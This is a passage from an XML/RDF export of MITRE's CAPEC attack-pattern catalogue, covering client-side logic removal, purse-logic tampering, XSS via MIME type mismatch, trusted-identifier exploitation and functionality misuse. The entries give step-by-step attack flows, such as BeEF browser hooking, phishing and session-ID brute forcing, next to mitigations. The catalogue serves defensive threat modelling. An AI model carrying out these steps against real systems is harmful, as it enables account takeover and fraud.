xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Adversaries can, in some cases, get around logic put in place to 'guard' sensitive functionality or data. Client applications may include functionality that a server relies on for correct and secure operation. This functionality can include, but is not limited to, filters to prevent the sending of dangerous content to the server, logical functionality such as price calculations, and authentication logic to ensure that only authorized users are utilizing the client. If an adversary can disable this functionality on the client, they can perform actions that the server believes are prohibited. This can result in client behavior that violates assumptions by the server leading to a variety of possible attacks. In the above examples, this could include the sending of dangerous content (such as scripts) to the server, incorrect price calculations, or unauthorized access to server resources.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10691 + Related_Attack_Pattern_10691 + + + + + + + + + + + + + + 22 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep10696 + Attack_Step_10696 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probing] The adversary probes, through brute-forcing, reverse-engineering or other similar means, the functionality on the client that server assumes to be present and trustworthy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary probes by exploring an application's functionality and its underlying mapping to server-side components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary reverse engineers client-side code to identify the functionality that the server relies on for the proper or secure operation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10703 + Attack_Step_10703 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine which functionality to disable or remove] The adversary tries to determine which functionality to disable or remove through reverse-engineering from the list of functionality identified in the Explore phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary reverse engineers the client-side code to determine which functionality to disable or remove.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10709 + Attack_Step_10709 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Disable or remove the critical functionality from the client code] Once the functionality has been determined, the adversary disables or removes the critical functionality from the client code to perform malicious actions that the server believes are prohibited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary disables or removes the functionality from the client-side code to perform malicious actions, such as sending of dangerous content (such as scripts) to the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted server must assume the client performs important actions to protect the server or the server functionality. For example, the server may assume the client filters outbound traffic or that the client performs all price calculations correctly. Moreover, the server must fail to detect when these assumptions are violated by a client.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10720 + Skill_10720 + + + + + + + + + + + + + + To reverse engineer the client-side code to disable/remove the functionality on the client that the server relies on. + + + + + + + + + + + + #indSkillSkill10721 + Skill_10721 + + + + + + + + + + + + + + The adversary installs a web tool that allows scripts or the DOM model of web-based applications to be modified before they are executed in a browser. GreaseMonkey and Firebug are two examples of such tools. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have access to a client and be able to modify the client behavior, often through reverse engineering. If the server is assuming specific client functionality, this usually means the server only recognizes a specific client application, rather than a broad class of client applications. Reverse engineering tools would likely be necessary.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10727 + Consequence_10727 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10732 + Consequence_10732 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence10736 + Consequence_10736 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence10740 + Consequence_10740 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence10747 + Consequence_10747 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ship client-side application with integrity checks (code signing) when possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use obfuscation and other techniques to prevent reverse engineering the client code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary reverse engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the adversary simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the adversary directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).</xhtml:div> + + + + + 602 + + + + + + + + + + + + #indReferenceReference10766 + Reference_10766 + + + + + + + + + REF-75 + + + + + Greasemonkey + + + + + + + + + + + + #indReferenceReference10767 + Reference_10767 + + + + + + + + + REF-76 + + + + + + + + + + + + #indReferenceReference10768 + Reference_10768 + + + + + + + + + REF-77 + + + + + Greasemonkey + + + + + + + + + + + + #indContentHistoryContentHistory10770 + Content_History_10770 + + + + + + + + + + + + + + + + #indSubmissionSubmission10771 + Submission_10771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10776 + Modification_10776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, References, Related_Vulnerabilities + + + + + + + + + + + + #indModificationModification10782 + Modification_10782 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10788 + Modification_10788 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Example_Instances, Execution_Flow, Extended_Description, Resources_Required, Skills_Required + + + + + + + + + + + + #indModificationModification10794 + Modification_10794 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10800 + Previous_Entry_Name_10800 + + + + + + + + + 2015-12-07 + + + + + Removing Important Functionality from the Client + + + + + + + + + + + + #CAPEC-208 + Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements + + + + + + + + + 208 + + + + + Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10810 + Related_Attack_Pattern_10810 + + + + + + + + + + + + + + 207 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted server must rely on the client to correctly perform monetary calculations and must fail to detect errors in these calculations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have access to the client for the targeted service (this step is trivial for most web-based services). The attacker must also be able to reverse engineer the client in order to locate and modify the client's purse logic. Reverse engineering tools would be necessary for this.</xhtml:div> + + + + + 602 + + + + + + + + + + + + #indContentHistoryContentHistory10821 + Content_History_10821 + + + + + + + + + + + + + + + + #indSubmissionSubmission10822 + Submission_10822 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10827 + Modification_10827 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10833 + Modification_10833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #CAPEC-209 + XSS Using MIME Type Mismatch + + + + + + + + + 209 + + + + + XSS Using MIME Type Mismatch + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10846 + Related_Attack_Pattern_10846 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indAttackStepAttackStep10849 + Attack_Step_10849 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for stored user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all areas that allow a user to upload content through an HTTP POST request. This is typically found in blogs or forums.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to file upload features</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10857 + Attack_Step_10857 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for MIME type mismatch] The adversary uses the entry points gathered in the "Explore" phase as a target list and uploads files with scripting content, but whose MIME type is specified as a file type that cannot execute scripting content. If the application only checks the MIME type of the file, it may let the file through, causing the script to be executed by any user who accesses the file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Upload a script file with a MIME type of text/plain to a forum and then access the uploaded file to see if the script is executed. If possible, the script displays a unique identifier so the adversary knows for certain it was executed when testing.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10863 + Attack_Step_10863 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Store malicious XSS content] Once the adversary has determined which file upload locations are vulnerable to MIME type mismatch, they will upload a malicious script disguised as a non scripting file. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10869 + Attack_Step_10869 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to view stored content] In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must follow a crafted link that references a scripting file that is mis-typed as a non-executable file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim's browser must detect the true type of a mis-labeled scripting file and invoke the appropriate script interpreter without first performing filtering on the content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to source the file of the incorrect MIME type containing a script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For example, the MIME type text/plain may be used where the actual content is text/javascript or text/html. Since text does not contain scripting instructions, the stated MIME type would indicate that filtering is unnecessary. However, if the target application subsequently determines the file's real type and invokes the appropriate interpreter, scripted content could be invoked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In another example, img tags in HTML content could reference a renderable type file instead of an expected image file. The file extension and MIME type can describe an image file, but the file content can be text/javascript or text/html resulting in script execution. If the browser assumes all references in img tags are images, and therefore do not need to be filtered for scripts, this would bypass content filters.</xhtml:div> + + + + + 79 + + + + + 20 + + + + + 646 + + + + + + + + + + + + #indReferenceReference10895 + Reference_10895 + + + + + + + + + REF-78 + + + + + Testing for Stored Cross site scripting (OWASP-DV-002) + + + + + + + + + + + + #indContentHistoryContentHistory10897 + Content_History_10897 + + + + + + + + + + + + + + + + #indSubmissionSubmission10898 + Submission_10898 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10903 + Modification_10903 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Description Summary, Examples-Instances, Injection_Vector, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification10909 + Modification_10909 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification10915 + Modification_10915 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10921 + Previous_Entry_Name_10921 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting Using MIME Type Mismatch + + + + + + + + + + + + #CAPEC-21 + Exploitation of Trusted Identifiers + + + + + + + + + 21 + + + + + Exploitation of Trusted Identifiers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacks leveraging trusted identifiers typically result in the adversary laterally moving within the local network, since users are often allowed to authenticate to systems/applications within the network using the same identifier. This allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacks on trusted identifiers take advantage of the fact that some software accepts user input without verifying its authenticity. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. Similarly, servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Identifiers may be guessed or obtained due to insufficient randomness, poor protection (passed/stored in the clear), lack of integrity (unsigned), or improper correlation with access control policy enforcement points. Exposed configuration and properties files that contain sensitive data may additionally provide an adversary with the information needed to obtain these identifiers. An adversary may also "ride" an identifier via a malicious link, as is the case in Cross Site Request Forgery (CSRF) attacks.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Regardless of the attack vector, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep10937 + Attack_Step_10937 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for Indicators of Susceptibility] Using a variety of methods, until one is found that applies to the target, the adversary probes for cookies, session tokens, or entry points that bypass identifiers altogether.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider all available pages</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack known bad interfaces</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search outward-facing configuration and properties files for identifiers.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10945 + Attack_Step_10945 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fetch samples] The adversary fetches many samples of identifiers. This may be through legitimate access (logging in, legitimate connections, etc.) or via systematic probing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary makes many anonymous connections and records the session IDs assigned.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary makes authorized connections and records the session tokens or credentials issued.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connection from it, attempting to gain the same privileges as a trusted system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10953 + Attack_Step_10953 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10958 + Attack_Step_10958 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10963 + Attack_Step_10963 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within the system or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server software must rely on weak identifier proof and/or verification schemes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identifiers must have long lifetimes and potential for reusability.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server software must allow concurrent sessions to exist.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10975 + Skill_10975 + + + + + + + + + + + + + + To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to deploy software on network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10982 + Consequence_10982 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence10988 + Consequence_10988 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence10992 + Consequence_10992 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: If the identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: If the web or application server supports it, then encrypting and/or signing the identifier (such as cookie) can protect the ID if intercepted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use strong session identifiers that are protected in transit and at rest.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Verify authenticity of all identifiers at runtime.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an adversary to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an adversary to exploit session IDs.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A brute force attack involves an adversary repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an adversary can retry several hundred or thousand request with little to no issue on their side.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The adversary can then use these variables and access the application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For example, in a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or the process that wrote the message to the queue is authentic and authorized to do so.</xhtml:div> + + + + + 290 + + + + + 302 + + + + + 346 + + + + + 539 + + + + + 6 + + + + + 384 + + + + + 664 + + + + + 602 + + + + + 642 + + + + + + + + + + + + #indTaxonomyMappingAccessTokenManipulation + Access Token Manipulation + + + + + + + + + + + + + + 1134 + + + + + Access Token Manipulation + + + + + + + + + + + + #indTaxonomyMappingStealApplicationAccessToken + Steal Application Access Token + + + + + + + + + + + + + + 1528 + + + + + Steal Application Access Token + + + + + + + + + + + + #indTaxonomyMappingStealWebSessionCookie + Steal Web Session Cookie + + + + + + + + + + + + + + 1539 + + + + + Steal Web Session Cookie + + + + + + + + + + + + #indReferenceReference11040 + Reference_11040 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory11042 + Content_History_11042 + + + + + + + + + + + + + + + + #indSubmissionSubmission11043 + Submission_11043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11048 + Modification_11048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11054 + Modification_11054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, @Status, Consequences, Description, Example_Instances, Execution_Flow, Mitigations, Prerequisites, Resources_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification11060 + Modification_11060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification11066 + Modification_11066 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification11072 + Modification_11072 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification11078 + Modification_11078 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11084 + Previous_Entry_Name_11084 + + + + + + + + + 2015-11-09 + + + + + Exploitation of Session Variables, Resource IDs and other Trusted Credentials + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11085 + Previous_Entry_Name_11085 + + + + + + + + + 2020-07-30 + + + + + Exploitation of Trusted Credentials + + + + + + + + + + + + #CAPEC-211 + DEPRECATED: Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior + + + + + + + + + 211 + + + + + DEPRECATED: Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory11093 + Content_History_11093 + + + + + + + + + + + + + + + + #indSubmissionSubmission11094 + Submission_11094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11099 + Modification_11099 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification11105 + Modification_11105 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Resources_Required, Typical_Severity + + + + + + + + + + + + #indModificationModification11111 + Modification_11111 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName11117 + Previous_Entry_Name_11117 + + + + + + + + + 2017-05-01 + + + + + Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior + + + + + + + + + + + + #CAPEC-212 + Functionality Misuse + + + + + + + + + 212 + + + + + Functionality Misuse + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages a legitimate capability of an application in such a way as to achieve a negative technical impact. The system functionality is not altered or modified but used in a way that was not intended. This is often accomplished through the overuse of a specific functionality or by leveraging functionality with design flaws that enables the adversary to gain access to unauthorized, sensitive data.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary has the capability to interact with the application directly.The target system does not adequately implement safeguards to prevent misuse of authorized actions/processes.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11128 + Skill_11128 + + + + + + + + + + + + + + General computer knowledge about how applications are launched, how they interact with input/output, and how they are configured. + + + + + + + + + + + + #indConsequenceConsequence11131 + Consequence_11131 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack of this kind can compromise the confidentiality of an authorized user's credentials.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence11136 + Consequence_11136 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the adversary's intended technical impact, a successful attack of this kind can compromise any or all elements of the security triad.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform comprehensive threat modeling, a process of identifying, evaluating, and mitigating potential threats to the application. This effort can help reveal potentially obscure application functionality that can be manipulated for malicious purposes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When implementing security features, consider how they can be misused and compromised.</xhtml:div> + + + + + 1242 + + + + + 1246 + + + + + 1281 + + + + + + + + + + + + #indContentHistoryContentHistory11153 + Content_History_11153 + + + + + + + + + + + + + + + + #indSubmissionSubmission11154 + Submission_11154 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification11159 + 